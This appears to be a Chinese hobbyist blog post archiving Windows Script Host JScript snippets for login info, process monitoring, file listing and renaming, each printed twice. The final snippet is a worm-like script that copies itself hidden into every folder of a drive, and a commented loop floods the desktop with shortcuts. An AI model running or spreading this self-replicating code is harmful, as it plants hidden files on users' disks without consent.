一直以来,对*NIX下一行脚本就能搞定一个问题的方式十分感兴趣,同时由于偏见,以为在win下玩脚本不会太有意思,这两天有时间自己小小研究了一下,发现还是很有趣的。
没事自己写了几个脚本,实现了一些基本功能,就放到这里,姑且当作存档。
查看上次登陆
Code
LoginProfiles = GetObject("winmgmts:").InstancesOf ("Win32_NetworkLoginProfile");
for(e = new Enumerator(LoginProfiles) ; !e.atEnd() ; e.moveNext())
{
Profile = e.item();
if(Profile.Name!=null &&Profile.LastLogon!=null)
{
WScript.Echo("用户:"+Profile.Name+"\n上次登录时间:"+Profile.LastLogon);
}
}
LoginProfiles = GetObject("winmgmts:").InstancesOf ("Win32_NetworkLoginProfile");
for(e = new Enumerator(LoginProfiles) ; !e.atEnd() ; e.moveNext())
{
Profile = e.item();
if(Profile.Name!=null &&Profile.LastLogon!=null)
{
WScript.Echo("用户:"+Profile.Name+"\n上次登录时间:"+Profile.LastLogon);
}
}
创建与删除快捷方式
Code
var wsShell=WScript.CreateObject("WScript.Shell");
var strDesktop=wsShell.SpecialFolders("Desktop");
var i=0;
//for(;i<100000;i++)
//{
// var shortcut=wsShell.CreateShortcut(strDesktop+"\\快捷方式"+i+".lnk");
// shortcut.TargetPath="http:\\www.baidu.com";
// shortcut.save();
//}
//清除已创建的快捷方式
var FSO=WScript.CreateObject("Scripting.FileSystemObject");
var folder=FSO.GetFolder(strDesktop);
var files=new Enumerator(folder.files);
var file;
for(;!files.atEnd();files.moveNext())
{
file=files.item().path;
//删除所有快捷方式
if( file.charAt(file.length-1)=='k'
&&file.charAt(file.length-2)=='n'
&&file.charAt(file.length-3)=='l'
&&file.charAt(file.length-4)=='.')
{
//WScript.Echo(file);
FSO.DeleteFile(file);
}
}
var wsShell=WScript.CreateObject("WScript.Shell");
var strDesktop=wsShell.SpecialFolders("Desktop");
var i=0;
//for(;i<100000;i++)
//{
// var shortcut=wsShell.CreateShortcut(strDesktop+"\\快捷方式"+i+".lnk");
// shortcut.TargetPath="http:\\www.baidu.com";
// shortcut.save();
//}
//清除已创建的快捷方式
var FSO=WScript.CreateObject("Scripting.FileSystemObject");
var folder=FSO.GetFolder(strDesktop);
var files=new Enumerator(folder.files);
var file;
for(;!files.atEnd();files.moveNext())
{
file=files.item().path;
//删除所有快捷方式
if( file.charAt(file.length-1)=='k'
&&file.charAt(file.length-2)=='n'
&&file.charAt(file.length-3)=='l'
&&file.charAt(file.length-4)=='.')
{
//WScript.Echo(file);
FSO.DeleteFile(file);
}
}
当前用户信息
Code
//尝试网络连接
var net;
net = new ActiveXObject("WScript.Network");
WScript.Echo("用 户 名:"+net.UserName+"\n 域:"+net.UserDomain+"\n计算机名:"+net.ComputerName+"\n当前时间:"+Date());
//尝试网络连接
var net;
net = new ActiveXObject("WScript.Network");
WScript.Echo("用 户 名:"+net.UserName+"\n 域:"+net.UserDomain+"\n计算机名:"+net.ComputerName+"\n当前时间:"+Date());
监视进程
Code
var objWMIServices=GetObject("winmgmts:{impersonationLevel=impersonate}!\\root\\cimv2");
var colMonitoredProcesses=objWMIServices.ExecNotificationQuery("select * from __instancecreationevent within 1 where TargetInstance isa 'Win32_Process'");
while(true)
{
var objLatestProcess=colMonitoredProcesses.NextEvent();
WScript.Echo("进程被创建:\r\n名字:"+objLatestProcess.TargetInstance.Name+"\r\nPID:"+objLatestProcess.TargetInstance.ProcessID);
}
var objWMIServices=GetObject("winmgmts:{impersonationLevel=impersonate}!\\root\\cimv2");
var colMonitoredProcesses=objWMIServices.ExecNotificationQuery("select * from __instancecreationevent within 1 where TargetInstance isa 'Win32_Process'");
while(true)
{
var objLatestProcess=colMonitoredProcesses.NextEvent();
WScript.Echo("进程被创建:\r\n名字:"+objLatestProcess.TargetInstance.Name+"\r\nPID:"+objLatestProcess.TargetInstance.ProcessID);
}
列出当前文件夹所有文件
Code
var FSO=WScript.CreateObject("Scripting.FileSystemObject");
var curFolder=FSO.GetFolder(".");//获得当前目录
//var curFolder=FSO.GetFolder("..");//上级目录
//另一种方法
//var shell=WScript.CreateObject("WScript.Shell");
//var curFolder=shell.CurrentDirectory();
var result=FSO.CreateTextFile(curFolder+"\\result.txt",true);//输出结果
DoDir(curFolder);
result.close();
function DoDir(folder)
{
//WScript.Echo("OK");
//遍历当前文件
var files=new Enumerator(folder.files);
for(;!files.atEnd();files.moveNext())
{
//WScript.StdOut.WriteLine(files.item().path);
//WScript.Echo(files.item());
result.write(files.item().path+"\r\n");
}
//遍历子目录
var fc=new Enumerator(folder.SubFolders);
for(;!fc.atEnd();fc.moveNext())
{
DoDir(fc.item());
}
}
var FSO=WScript.CreateObject("Scripting.FileSystemObject");
var curFolder=FSO.GetFolder(".");//获得当前目录
//var curFolder=FSO.GetFolder("..");//上级目录
//另一种方法
//var shell=WScript.CreateObject("WScript.Shell");
//var curFolder=shell.CurrentDirectory();
var result=FSO.CreateTextFile(curFolder+"\\result.txt",true);//输出结果
DoDir(curFolder);
result.close();
function DoDir(folder)
{
//WScript.Echo("OK");
//遍历当前文件
var files=new Enumerator(folder.files);
for(;!files.atEnd();files.moveNext())
{
//WScript.StdOut.WriteLine(files.item().path);
//WScript.Echo(files.item());
result.write(files.item().path+"\r\n");
}
//遍历子目录
var fc=new Enumerator(folder.SubFolders);
for(;!fc.atEnd();fc.moveNext())
{
DoDir(fc.item());
}
}
批量文件改名
Code
var FSO=WScript.CreateObject("Scripting.FileSystemObject");
var folder=new Enumerator(FSO.getFolder("G:\\New File\\脚本\\windows脚本").files);
var file;
for(;!folder.atEnd();folder.moveNext())
{
filename=folder.item().name.toLowerCase();
//以Tec开头的mht文件
if( filename.charAt(0)=='t'&&filename.charAt(1)=='e'&&filename.charAt(2)=='c'
&&filename.charAt(filename.length-3)=='m'&&filename.charAt(filename.length-2)=='h'&&filename.charAt(filename.length-1)=='t')
{
var pos=filename.indexOf(":");//开始保留的字符串位置
var newfilename="G:\\New File\\脚本\\windows脚本\\"+filename.substr(pos+1);//新的文件名,不包括":"本身
FSO.CopyFile(folder.item().path,newfilename);
FSO.DeleteFile(folder.item().path);
//WScript.Echo(pos+"已改名:"+filename+"为:"+newfilename);
}
}
var FSO=WScript.CreateObject("Scripting.FileSystemObject");
var folder=new Enumerator(FSO.getFolder("G:\\New File\\脚本\\windows脚本").files);
var file;
for(;!folder.atEnd();folder.moveNext())
{
filename=folder.item().name.toLowerCase();
//以Tec开头的mht文件
if( filename.charAt(0)=='t'&&filename.charAt(1)=='e'&&filename.charAt(2)=='c'
&&filename.charAt(filename.length-3)=='m'&&filename.charAt(filename.length-2)=='h'&&filename.charAt(filename.length-1)=='t')
{
var pos=filename.indexOf(":");//开始保留的字符串位置
var newfilename="G:\\New File\\脚本\\windows脚本\\"+filename.substr(pos+1);//新的文件名,不包括":"本身
FSO.CopyFile(folder.item().path,newfilename);
FSO.DeleteFile(folder.item().path);
//WScript.Echo(pos+"已改名:"+filename+"为:"+newfilename);
}
}
遍历磁盘并自我复制
Code
var FSO=WScript.CreateObject("scripting.FileSystemObject");
var folder=FSO.GetFolder(".");
var i=0;
//!!!!!------------!危险----------------!!!!!!
//ScanDisk();
//!!!!!---------------------------------!!!!!!
ScanDrive(FSO.GetDrive('g'));
tip();
//遍历磁盘的每个文件夹
function ScanDisk()
{
var DRIVERS=new Enumerator(FSO.drivers);
for(;!DRIVERS.atEnd();DRIVERS.moveNext())
ScanDrive(DRIVERS.item().RootFolder);
}
//扫描指定磁盘
function ScanDrive(drive)
{
TravFolder(WScript.ScriptFullName,drive.RootFolder);
}
//遍历文件夹
function TravFolder(sourcefilename,folder)
{
var newfilename=sourcefilename;
//WScript.Echo("i="+i+"--TravFolder+sourcefilename: "+sourcefilename);
i++;
if(folder.Attributes!=22)//跳过无法访问的文件夹
{
var newfilename=SD(sourcefilename,folder,"create");
//WScript.Echo("TravFolder+newfilename: "+newfilename);
}
var subfolders=new Enumerator(folder.SubFolders);
for(;!subfolders.atEnd();subfolders.moveNext())
TravFolder(newfilename,subfolders.item());
}
//制毒或杀毒
function SD(sourcefile,desPath,CreateORKill)
{
// WScript.Echo("SD+sourcefile: "+sourcefile);
if(CreateORKill=="create")
{
var newfilename=desPath+"\\"+WScript.ScriptName;//新建的文件名
// WScript.Echo("SD+newfilename: "+newfilename);
FSO.CopyFile(sourcefile,newfilename);
FSO.GetFile(desPath+"\\"+WScript.ScriptName).Attributes=4&&2;//设置为系统文件并隐藏
return newfilename;//返回新建文件名,供下一次复制使用
}
else if(CreateORKill=="kill")
FSO.DeleteFile(desPath+"\\"+WScript.ScriptName)
}
function tip()
{
WScript.Echo("共有"+i+"个可疑文件!");
}
var FSO=WScript.CreateObject("scripting.FileSystemObject");
var folder=FSO.GetFolder(".");
var i=0;
//!!!!!------------!危险----------------!!!!!!
//ScanDisk();
//!!!!!---------------------------------!!!!!!
ScanDrive(FSO.GetDrive('g'));
tip();
//遍历磁盘的每个文件夹
function ScanDisk()
{
var DRIVERS=new Enumerator(FSO.drivers);
for(;!DRIVERS.atEnd();DRIVERS.moveNext())
ScanDrive(DRIVERS.item().RootFolder);
}
//扫描指定磁盘
function ScanDrive(drive)
{
TravFolder(WScript.ScriptFullName,drive.RootFolder);
}
//遍历文件夹
function TravFolder(sourcefilename,folder)
{
var newfilename=sourcefilename;
//WScript.Echo("i="+i+"--TravFolder+sourcefilename: "+sourcefilename);
i++;
if(folder.Attributes!=22)//跳过无法访问的文件夹
{
var newfilename=SD(sourcefilename,folder,"create");
//WScript.Echo("TravFolder+newfilename: "+newfilename);
}
var subfolders=new Enumerator(folder.SubFolders);
for(;!subfolders.atEnd();subfolders.moveNext())
TravFolder(newfilename,subfolders.item());
}
//制毒或杀毒
function SD(sourcefile,desPath,CreateORKill)
{
// WScript.Echo("SD+sourcefile: "+sourcefile);
if(CreateORKill=="create")
{
var newfilename=desPath+"\\"+WScript.ScriptName;//新建的文件名
// WScript.Echo("SD+newfilename: "+newfilename);
FSO.CopyFile(sourcefile,newfilename);
FSO.GetFile(desPath+"\\"+WScript.ScriptName).Attributes=4&&2;//设置为系统文件并隐藏
return newfilename;//返回新建文件名,供下一次复制使用
}
else if(CreateORKill=="kill")
FSO.DeleteFile(desPath+"\\"+WScript.ScriptName)
}
function tip()
{
WScript.Echo("共有"+i+"个可疑文件!");
}